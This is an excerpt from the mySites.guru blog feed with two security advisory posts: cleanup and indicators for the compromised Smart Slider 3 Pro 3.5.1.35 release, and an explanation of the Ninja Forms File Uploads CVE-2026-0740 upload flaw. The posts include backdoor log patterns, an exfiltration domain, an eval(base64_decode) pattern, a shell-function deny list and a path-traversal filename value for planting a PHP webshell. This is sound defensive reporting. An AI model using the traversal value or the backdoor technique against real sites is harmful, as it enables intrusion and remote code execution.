&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5. Reset All Credentials&lt;/h3&gt;
&lt;p&gt;Treat the site as having had its file system fully read by an attacker. That means:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;New WordPress admin passwords for every account&lt;/li&gt;
&lt;li&gt;New &lt;code&gt;wp-config.php&lt;/code&gt; authentication keys and salts (&lt;a href=&quot;https://api.wordpress.org/secret-key/1.1/salt/&quot;&gt;generator&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;New database password&lt;/li&gt;
&lt;li&gt;New hosting control panel password&lt;/li&gt;
&lt;li&gt;New FTP/SSH passwords if used&lt;/li&gt;
&lt;li&gt;New API keys for any service whose credentials might be in &lt;code&gt;wp-config.php&lt;/code&gt;, &lt;code&gt;.env&lt;/code&gt;, or similar files&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;6. Audit User Accounts Across the Board&lt;/h3&gt;
&lt;p&gt;Use mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/universal-user-management-for-joomla-and-wordpress-sites/&quot;&gt;universal user management&lt;/a&gt; to review accounts across all your sites in one place. Hidden accounts may exist with names that do not match the &lt;code&gt;wpsvc_&lt;/code&gt; pattern if a more sophisticated attacker piggybacked on the same backdoor.&lt;/p&gt;
&lt;h3&gt;7. Run a Full Security Scan&lt;/h3&gt;
&lt;p&gt;Use the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;mySites.guru suspect content scanner&lt;/a&gt; to look for additional backdoors, modified core files, and any PHP files in unexpected locations. Pair it with &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI-powered malware analysis&lt;/a&gt; for files the rule-based scanner flags as suspicious.&lt;/p&gt;
&lt;h3&gt;8. Enable File Change Monitoring Going Forward&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;Real-time file change alerts&lt;/a&gt; catch any future modifications to PHP files outside normal deployment activity. If a backdoor returns, you find out within hours instead of after the next breach is announced.&lt;/p&gt;
&lt;h3&gt;9. Review Server Access Logs&lt;/h3&gt;
&lt;p&gt;Look for POST requests to your site root containing a &lt;code&gt;_chk&lt;/code&gt; query parameter. Any such requests indicate the backdoor was used, and you need to investigate what was done with that access. Common patterns:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /?_chk=...&amp;amp;m=sh HTTP/1.1
POST /?_chk=...&amp;amp;m=php HTTP/1.1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the requests succeeded with 200 responses and your site logs showed activity from unfamiliar IPs, escalate the investigation.&lt;/p&gt;
&lt;h2&gt;Is the Joomla Version of Smart Slider 3 Pro Also Compromised?&lt;/h2&gt;
&lt;p&gt;Yes. Nextend published a separate &lt;a href=&quot;https://smartslider.helpscoutdocs.com/article/2143-joomla-security-advisory-smart-slider-3-pro-3-5-1-35-compromise&quot;&gt;Joomla security advisory&lt;/a&gt; covering the same incident. The Joomla edition of Smart Slider 3 Pro 3.5.1.35 received the same compromised release through the same channel.&lt;/p&gt;
&lt;p&gt;The malicious behaviors described in the Joomla advisory are the same family as the WordPress version:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Hidden Joomla administrator accounts with usernames starting with &lt;code&gt;wpsvc_&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Backdoor files in &lt;code&gt;/cache/cf_check.php&lt;/code&gt;, &lt;code&gt;/media/cf_check.php&lt;/code&gt;, and possibly in &lt;code&gt;/tmp&lt;/code&gt; and &lt;code&gt;/images&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;The same &lt;code&gt;eval(base64_decode(...))&lt;/code&gt; PHP execution pattern&lt;/li&gt;
&lt;li&gt;Exfiltration to &lt;code&gt;wpjs1.com&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you manage Joomla sites with Smart Slider 3 Pro installed, treat this with identical urgency. Update to 3.5.1.36, run the same indicator checks (adapted for Joomla paths), and use Nextend&apos;s cleanup script.&lt;/p&gt;
&lt;p&gt;This is also the second time we have flagged the same Joomla codebase in two weeks. Last week&apos;s &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;CVE-2026-3098 post&lt;/a&gt; confirmed that the WordPress and Joomla editions share identical vulnerable files. This week confirms that they share identical compromised distribution. If you are running Smart Slider 3 Pro on Joomla, you are exposed to every WordPress incident this plugin has, and probably will continue to be.&lt;/p&gt;
&lt;h2&gt;What This Incident Tells Us About Plugin Supply Chains&lt;/h2&gt;
&lt;p&gt;Supply-chain attacks on commercial CMS plugins are rare in public disclosure but probably more common than the published incidents suggest. This is the kind of compromise where the vendor often discovers it months later, and only the victims who notice unusual activity ever get told.&lt;/p&gt;
&lt;p&gt;The defenses that matter:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Version pinning at the agency level.&lt;/strong&gt; If you manage many sites, do not auto-update commercial plugins on the day of release. Wait 48-72 hours. Most malicious releases are detected and pulled in that window. mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;scheduled updates&lt;/a&gt; lets you stage update windows so client sites do not all jump on day-zero releases.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Inventory before incident.&lt;/strong&gt; When the next compromised release happens, you need to know which sites have which versions in seconds, not hours. That is what an extension snapshot is for. Manual checking is not viable when you manage 50+ sites.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;File change monitoring.&lt;/strong&gt; Plugin updates do legitimate file changes. A backdoor planted by a plugin update looks the same as the plugin update itself. But after the update settles, any further changes to PHP files in &lt;code&gt;/cache&lt;/code&gt;, &lt;code&gt;/uploads&lt;/code&gt;, or &lt;code&gt;/mu-plugins&lt;/code&gt; are anomalous, and a file change monitor catches them.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Separation between dev, staging, and production.&lt;/strong&gt; Push commercial plugin updates to staging first. Run them for 24 hours. If the plugin starts making outbound connections to unfamiliar domains or writing files to cache directories, you catch it before production sees a single request.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Treat plugin code as hostile.&lt;/strong&gt; Run PHP with &lt;code&gt;disable_functions = exec,shell_exec,passthru,system,popen&lt;/code&gt; where the plugins you use do not need them. This particular backdoor&apos;s shell mode would have failed silently with no shell access. The PHP eval mode would still have worked, but you cut off half the attack surface for a one-line config change.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Smart Slider 3 Pro 3.5.1.35 Compromise Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;March 24, 2026&lt;/td&gt;
&lt;td&gt;Smart Slider 3.5.1.34 released, patching CVE-2026-3098&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Late March 2026&lt;/td&gt;
&lt;td&gt;Smart Slider 3 Pro 3.5.1.35 released through Nextend&apos;s compromised update infrastructure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Early April 2026&lt;/td&gt;
&lt;td&gt;Nextend detected the compromise, pulled 3.5.1.35 from distribution, and audited their systems&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;April 2026&lt;/td&gt;
&lt;td&gt;Smart Slider 3 Pro 3.5.1.36 released as the safe replacement&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;April 8, 2026&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://smartslider.helpscoutdocs.com/article/2144-wordpress-security-advisory-smart-slider-3-pro-3-5-1-35-compromise&quot;&gt;WordPress&lt;/a&gt; and &lt;a href=&quot;https://smartslider.helpscoutdocs.com/article/2143-joomla-security-advisory-smart-slider-3-pro-3-5-1-35-compromise&quot;&gt;Joomla&lt;/a&gt; security advisories published&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Want Someone to Handle This for You?&lt;/h2&gt;
&lt;p&gt;If you&apos;d rather not work through the cleanup steps yourself, visit &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt; and submit a request. For a one-time set fee, the site gets patched, audited for backdoors, locked down, and handed back secure. Non-subscribers get a free month of mySites.guru included.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://smartslider.helpscoutdocs.com/article/2144-wordpress-security-advisory-smart-slider-3-pro-3-5-1-35-compromise&quot;&gt;Nextend WordPress Security Advisory: Smart Slider 3 Pro 3.5.1.35 Compromise&lt;/a&gt; - the official WordPress advisory&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://smartslider.helpscoutdocs.com/article/2143-joomla-security-advisory-smart-slider-3-pro-3-5-1-35-compromise&quot;&gt;Nextend Joomla Security Advisory: Smart Slider 3 Pro 3.5.1.35 Compromise&lt;/a&gt; - the official Joomla advisory&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nextendweb.com/public/cleanup.zip&quot;&gt;Nextend cleanup script&lt;/a&gt; - automated removal of known indicators of compromise&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;Last week&apos;s CVE-2026-3098 post&lt;/a&gt; - the file read vulnerability that prompted the 3.5.1.34 update&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://api.wordpress.org/secret-key/1.1/salt/&quot;&gt;WordPress secret key generator&lt;/a&gt; - regenerate authentication keys after credential reset&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;For a broader look at managing CMS security across many sites, see our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;agency security guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>joomla</category><category>security</category><category>plugins</category><category>vulnerability</category><category>smart slider</category><category>supply chain</category><enclosure url="https://mysites.guru/_astro/smart-slider-3-pro-supply-chain-compromise.BR1XTWc7.png" length="0" type="image/png"/></item><item><title>Ninja Forms File Uploads CVE-2026-0740: The AJAX Pattern Strikes Again</title><link>https://mysites.guru/blog/ninja-forms-file-uploads-cve-2026-0740/</link><guid isPermaLink="true">https://mysites.guru/blog/ninja-forms-file-uploads-cve-2026-0740/</guid><description>CVE-2026-0740 is a CVSS 9.8 unauthenticated RCE in the Ninja Forms File Uploads AJAX handler, affecting around 50,000 WordPress sites. Here is how the flaw works, why the first patch failed, and how to find vulnerable sites fast.</description><pubDate>Tue, 07 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The vulnerable function in &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-0740&quot;&gt;CVE-2026-0740&lt;/a&gt;, disclosed by Wordfence on April 6, is called &lt;code&gt;NF_FU_AJAX_Controllers_Uploads::handle_upload&lt;/code&gt;. That class name tells you the entire story before you read a line of code. A WordPress plugin registered an AJAX handler for file uploads, missed a validation step, and shipped an unauthenticated remote code execution vulnerability to around &lt;strong&gt;50,000 sites&lt;/strong&gt; running Ninja Forms File Uploads. CVSS 9.8.&lt;/p&gt;
&lt;p&gt;This is the fifth AJAX-handler-with-missing-checks CVE we have written about this year. That is not a coincidence, it is a pattern. We &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;dug into the pattern in depth last week&lt;/a&gt;: WordPress&apos;s &lt;code&gt;admin-ajax.php&lt;/code&gt; and Joomla&apos;s &lt;code&gt;com_ajax&lt;/code&gt; were built as lightweight utility endpoints where the framework does almost nothing and expects plugin developers to handle authentication, authorization, and input validation themselves. When they don&apos;t - or when they check the obvious things and miss the subtle ones - you get CVE-2026-0740, and &lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;CVE-2026-21628 (Astroid Framework)&lt;/a&gt;, and &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;CVE-2026-21627 (Novarain Framework)&lt;/a&gt;, and &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;CVE-2026-3098 (Smart Slider 3)&lt;/a&gt;, and CVE-2025-8489 (King Addons for Elementor), and the next one that will land before the month is out.&lt;/p&gt;
&lt;p&gt;Ninja Forms is interesting because the developers actually did check things. That is what makes this one different from the Astroid or Novarain pattern where the handler had no real checks at all. Ninja Forms checked a nonce, validated the source file type, and required form and field IDs. They even shipped a patch when Wordfence reported the issue. The patch did not fix it - &lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ninja-forms-uploads/ninja-forms-file-upload-3326-unauthenticated-arbitrary-file-upload&quot;&gt;3.3.25 was a partial patch&lt;/a&gt;, and only 3.3.27 closes the hole.&lt;/p&gt;
&lt;p&gt;If you manage WordPress sites running Ninja Forms with the File Uploads add-on, stop reading and check your versions. Then come back.&lt;/p&gt;
&lt;h2&gt;What are the details of CVE-2026-0740?&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-0740&quot;&gt;CVE-2026-0740&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;9.8 Critical&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unauthenticated Arbitrary File Upload&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerable function&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;NF_FU_AJAX_Controllers_Uploads::handle_upload&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Root cause&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;No destination filename validation or sanitization&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&amp;lt;= 3.3.26&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Partial patch&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;3.3.25 (February 10, 2026) - still vulnerable&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Full patch&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;3.3.27&lt;/strong&gt; (March 19, 2026)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Auth required&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;No - unauthenticated&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Publicly disclosed&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;April 6, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Sélim Lanouar (whattheslime), via Wordfence Bug Bounty Program&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Active installs&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Around 50,000&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;How does the Ninja Forms File Uploads AJAX vulnerability work?&lt;/h2&gt;
&lt;p&gt;The vulnerable function is &lt;code&gt;NF_FU_AJAX_Controllers_Uploads::handle_upload&lt;/code&gt;. It&apos;s the AJAX handler Ninja Forms registers via &lt;code&gt;admin-ajax.php&lt;/code&gt; so visitors can upload files through a contact form. Looking at the code Wordfence published in &lt;a href=&quot;https://www.wordfence.com/blog/2026/04/50000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-ninja-forms-file-upload-wordpress-plugin/&quot;&gt;their technical analysis&lt;/a&gt;, it &lt;strong&gt;does&lt;/strong&gt; do several things right:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It checks a nonce via &lt;code&gt;check_ajax_referer&lt;/code&gt; to prevent simple CSRF&lt;/li&gt;
&lt;li&gt;It validates the source filename&apos;s extension against a blacklist in a &lt;code&gt;_validate()&lt;/code&gt; helper&lt;/li&gt;
&lt;li&gt;It requires a form ID and a field ID to be present&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Where it fails is in the handling of the &lt;strong&gt;destination&lt;/strong&gt; filename - what the plugin will call the file once it has been saved to disk.&lt;/p&gt;
&lt;p&gt;After validating the uploaded file, the plugin reads a POST parameter (a key derived from the file field name) to determine the destination filename. In the vulnerable versions, that destination filename is not sanitized and its extension is not re-checked. An attacker uploads an innocent-looking file such as &lt;code&gt;document.jpg&lt;/code&gt;, which passes the source validation, then supplies a POST parameter telling the plugin to move it to a file called something like &lt;code&gt;../../../../var/www/html/shell.php&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The plugin calls &lt;code&gt;move_uploaded_file()&lt;/code&gt; with the attacker-controlled destination and writes a PHP file to wherever the attacker asked for it. Request that PHP file directly, and you have remote code execution on a server running around 50,000 sites&apos; worth of contact forms.&lt;/p&gt;
&lt;p&gt;The fix in 3.3.27 adds the checks that were missing: &lt;code&gt;basename()&lt;/code&gt; to strip path traversal, &lt;code&gt;sanitize_file_name()&lt;/code&gt; to clean the filename, and &lt;code&gt;pathinfo()&lt;/code&gt; plus a blacklist check on the destination extension. You can see the sanitization logic clearly in the patched code Wordfence published, including this comment from the vendor:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Security fix: Sanitize user-provided filename to prevent path traversal
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;File upload AJAX handlers have far more surface area than they look. Checking the obvious things (nonce, source filename) is not the same as checking the complete data flow. The obvious checks are the ones developers remember. The subtle ones - destination path traversal, destination extension, basename sanitization, the interaction between raw POST input and WordPress&apos;s own filename functions - are the ones that get missed. That is the AJAX pattern in a sentence, and it&apos;s the reason this post exists.&lt;/p&gt;
&lt;h2&gt;Why did the first Ninja Forms File Uploads patch not fix CVE-2026-0740?&lt;/h2&gt;
&lt;p&gt;Wordfence received the responsible disclosure on January 8, 2026 and shipped a firewall rule to Premium customers the same day. The vendor acknowledged on January 12, sent a patch for review on January 27, and released &lt;strong&gt;3.3.25 on February 10&lt;/strong&gt; as the first patched version.&lt;/p&gt;
&lt;p&gt;Except 3.3.25 was not actually patched. It fixed part of the destination filename handling but left the exploit path open. &lt;strong&gt;3.3.26 was also still vulnerable.&lt;/strong&gt; The fully patched version, &lt;strong&gt;3.3.27, did not ship until March 19&lt;/strong&gt; - over a month later.&lt;/p&gt;
&lt;p&gt;If your WordPress auto-updater ran any time between February 10 and March 19, it pulled down a version that looked patched on every monitoring dashboard and every security scanner feed, but was still exploitable. The version number went up, the changelog mentioned a security fix, the dashboard went green. Nothing about that process told you the fix had failed. This is one of the reasons some agencies &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;disable auto-updates entirely&lt;/a&gt; and drive all plugin updates manually from a central dashboard after verifying the patch is the &lt;em&gt;actual&lt;/em&gt; fix.&lt;/p&gt;
&lt;p&gt;Wordfence&apos;s &lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ninja-forms-uploads/ninja-forms-file-upload-3326-unauthenticated-arbitrary-file-upload&quot;&gt;advisory&lt;/a&gt; spells out the timeline in plain text: &quot;The vulnerability was partially patched in version 3.3.25 and fully patched in version 3.3.27.&quot; If you only read the CVE summary and see &quot;patched in 3.3.25&quot;, you will miss it.&lt;/p&gt;
&lt;p&gt;The only safe version is &lt;strong&gt;3.3.27 or later&lt;/strong&gt;. Anything below that is a live exposure, and &quot;we updated it&quot; and &quot;we&apos;re safe&quot; are not the same sentence. A vendor can genuinely try to fix an AJAX handler and still ship an exploit because the surface area is that large.&lt;/p&gt;
&lt;h2&gt;Which WordPress sites run Ninja Forms File Uploads?&lt;/h2&gt;
&lt;p&gt;Ninja Forms is one of the more popular form plugins for WordPress. The File Uploads extension is a paid add-on that plenty of sites use for:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Recruitment sites collecting CVs from applicants&lt;/li&gt;
&lt;li&gt;Professional services sites accepting project briefs and portfolios&lt;/li&gt;
&lt;li&gt;Support portals where customers attach logs or screenshots&lt;/li&gt;
&lt;li&gt;Contact forms on agency sites that need file attachments&lt;/li&gt;
&lt;li&gt;Event registration forms accepting ID documents&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Anywhere a WordPress site accepts files from the public through Ninja Forms, there is a reasonable chance this add-on is the plugin doing it.&lt;/p&gt;
&lt;p&gt;Across the sites connected to mySites.guru, hundreds of installs turn up spread across many customer accounts, and a meaningful fraction are still on vulnerable versions. That is the reality across every large WordPress portfolio right now: some sites are patched, some are not, and without a dashboard that lets you group every install by version number, you are guessing.&lt;/p&gt;
&lt;h2&gt;How do I find which of my WordPress sites are running Ninja Forms File Uploads?&lt;/h2&gt;
&lt;p&gt;There are three ways to answer the question &quot;which of my sites are running Ninja Forms File Uploads below 3.3.27&quot;. Only one of them scales.&lt;/p&gt;
&lt;h3&gt;Manual check (single site)&lt;/h3&gt;
&lt;p&gt;If you only manage one WordPress site, the manual check takes a minute:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Log into wp-admin&lt;/li&gt;
&lt;li&gt;Go to &lt;strong&gt;Plugins&lt;/strong&gt; -&amp;gt; &lt;strong&gt;Installed Plugins&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Find &quot;Ninja Forms - File Uploads&quot; in the list&lt;/li&gt;
&lt;li&gt;Look at the version number&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Anything below 3.3.27 - including 3.3.25 and 3.3.26, which show up as &quot;updated&quot; but are not actually patched - needs updating immediately.&lt;/p&gt;
&lt;h3&gt;WP-CLI (handful of sites)&lt;/h3&gt;
&lt;p&gt;If you have SSH access and WP-CLI on each site, this gets you the version without logging into wp-admin:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wp plugin get ninja-forms-uploads --field=version
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And to update in one command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wp plugin update ninja-forms-uploads
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Workable for five or ten sites if you don&apos;t mind SSHing around. Unworkable for fifty.&lt;/p&gt;
&lt;h3&gt;Bulk check with mySites.guru (unlimited sites)&lt;/h3&gt;
&lt;p&gt;mySites.guru indexes every plugin on every connected site continuously. The Extension Search groups all variants of a plugin by its internal key hash, so a single URL lists every version of Ninja Forms File Uploads across your entire portfolio, grouped by version number.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-blue-900 dark:text-blue-200&quot;&amp;gt;mySites.guru subscribers: check your Ninja Forms File Uploads versions now&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-2&quot;&amp;gt;&amp;lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/b0d077c2b95fae5a814e33d06996c838&quot; class=&quot;inline-flex items-center gap-2 rounded-md bg-blue-700 px-4 py-2 text-sm font-medium text-white no-underline hover:bg-blue-800 dark:bg-blue-600 dark:hover:bg-blue-500&quot;&amp;gt;Open Ninja Forms File Uploads Extension Search&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-2 text-sm text-blue-800 dark:text-blue-300&quot;&amp;gt;Lists every version of Ninja Forms File Uploads across all your connected sites, grouped by version number. Anything below 3.3.27 needs updating right now. Not a subscriber? &amp;lt;a href=&quot;https://manage.mysites.guru/en/register&quot; class=&quot;text-blue-700 underline dark:text-blue-300&quot;&amp;gt;Sign up free&amp;lt;/a&amp;gt; to get this visibility across your whole portfolio in minutes.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;Or, if you prefer to drive it from the dashboard:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Open &lt;strong&gt;Your WordPress Extensions&lt;/strong&gt; in mySites.guru&lt;/li&gt;
&lt;li&gt;Type &quot;ninja-forms-uploads&quot; in the filter bar&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Which sites?&lt;/strong&gt; next to the entry to see every site running it, grouped by version number&lt;/li&gt;
&lt;li&gt;Any site on 3.3.26 or earlier is vulnerable - you already have the list&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;Push the update in bulk&lt;/a&gt; from the same dashboard&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Sites running vulnerable versions are flagged automatically with a red &lt;strong&gt;Vulnerable Plugins!&lt;/strong&gt; badge. You do not need to remember version numbers or cross-reference CVE databases - mySites.guru cross-references every installed plugin against the Wordfence and Patchstack vulnerability feeds twice daily and flags outdated or vulnerable versions for you.&lt;/p&gt;
&lt;p&gt;The question &quot;which of my sites are still on 3.3.26&quot; goes from an afternoon of manual checks to a few seconds. A hundred-site portfolio resolves in the same time as a five-site portfolio.&lt;/p&gt;
&lt;p&gt;Single-site tools cannot answer this question by design. &lt;a href=&quot;https://www.wordfence.com/&quot;&gt;Wordfence&lt;/a&gt; runs on each site individually and does not give you a cross-portfolio view. &lt;a href=&quot;https://managewp.com/&quot;&gt;ManageWP&lt;/a&gt; and &lt;a href=&quot;https://mainwp.com/&quot;&gt;MainWP&lt;/a&gt; track WordPress but not Joomla. mySites.guru is built around this specific question: given a CVE, which of my sites are affected right now, and how do I push the fix without logging into each one.&lt;/p&gt;
&lt;h2&gt;What do I do if I find a WordPress site exposed to CVE-2026-0740?&lt;/h2&gt;
&lt;p&gt;Patching is step one, but this is an unauthenticated RCE. Anyone scanning the internet for vulnerable installs could already have dropped a webshell. Treat any site you find on 3.3.26 or earlier as potentially compromised and check before you close the ticket.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Update to 3.3.27 or later.&lt;/strong&gt; Not 3.3.25. Not 3.3.26. From mySites.guru, &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;push the update in bulk&lt;/a&gt; to every affected site at once.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Scan for webshells and backdoors at the file level.&lt;/strong&gt; The vulnerability writes attacker-controlled PHP anywhere writable on disk, so grep-for-suspicious-filenames is not enough. mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/wordpress-malware-scanner/&quot;&gt;deep file scanner&lt;/a&gt; inspects every file in the webspace against 12 years of threat signature data and flags webshells, backdoors, and known hacked files regardless of where they were placed. Run it on every site you just patched, not just the obviously dodgy ones. The ones that look clean are the ones you missed. There is more detail on how this works in our post on &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;finding hacked files and backdoors in Joomla and WordPress&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Review the Ninja Forms uploads directory manually too.&lt;/strong&gt; Uploads typically land under &lt;code&gt;wp-content/uploads/ninja-forms/&lt;/code&gt;, but because of the path traversal, the malicious file could be anywhere. Look for PHP files in upload directories, recently modified PHP files outside &lt;code&gt;wp-content/plugins/&lt;/code&gt;, and any file with a suspicious name in the webroot.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. Grep your webserver access logs&lt;/strong&gt; for POST requests to &lt;code&gt;admin-ajax.php&lt;/code&gt; with an action parameter matching &lt;code&gt;nf_fu_upload&lt;/code&gt; or similar. Anything from an unexpected IP, at an unusual time, or with a suspicious &lt;code&gt;referer&lt;/code&gt; header is worth investigating. mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time activity alerting&lt;/a&gt; also catches new PHP files being written and admin logins from unfamiliar IPs, which is exactly the post-exploitation signal you want to see on this kind of vulnerability.&lt;/p&gt;
